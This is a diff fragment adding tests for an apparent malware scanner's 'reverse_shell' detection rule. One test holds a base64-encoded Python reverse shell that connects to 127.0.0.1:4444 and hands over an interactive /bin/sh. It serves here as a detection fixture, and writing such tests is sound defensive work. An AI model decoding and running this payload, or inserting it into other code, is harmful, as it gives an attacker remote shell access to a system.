+        content = base64.b64decode(encoded_content).decode()
+        findings = _run_builtin(content, "reverse-shell.txt")
+
+        assert _has_rule(findings, "reverse_shell")
+
+    def test_builtin_malware_finding_covers_python_os_exec_shell(self):
+        content = base64.b64decode(
+            "aW1wb3J0IG9zLCBzb2NrZXQKc29jayA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKc29jay5jb25uZWN0KCgiMTI3LjAuMC4xIiwgNDQ0NCkpCm9zLmR1cDIoc29jay5maWxlbm8oKSwgMCkKb3MuZHVwMihzb2NrLmZpbGVubygpLCAxKQpvcy5kdXAyKHNvY2suZmlsZW5vKCksIDIpCm9zLmV4ZWNsKCcvYmluL3NoJywgJ3NoJywgJy1pJykK"
+        ).decode()
+        findings = _run_builtin(content, "python-exec-shell.txt")
+
+        assert _has_rule(findings, "reverse_shell")
+
     def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path):
         _write_rule(
             tmp_path,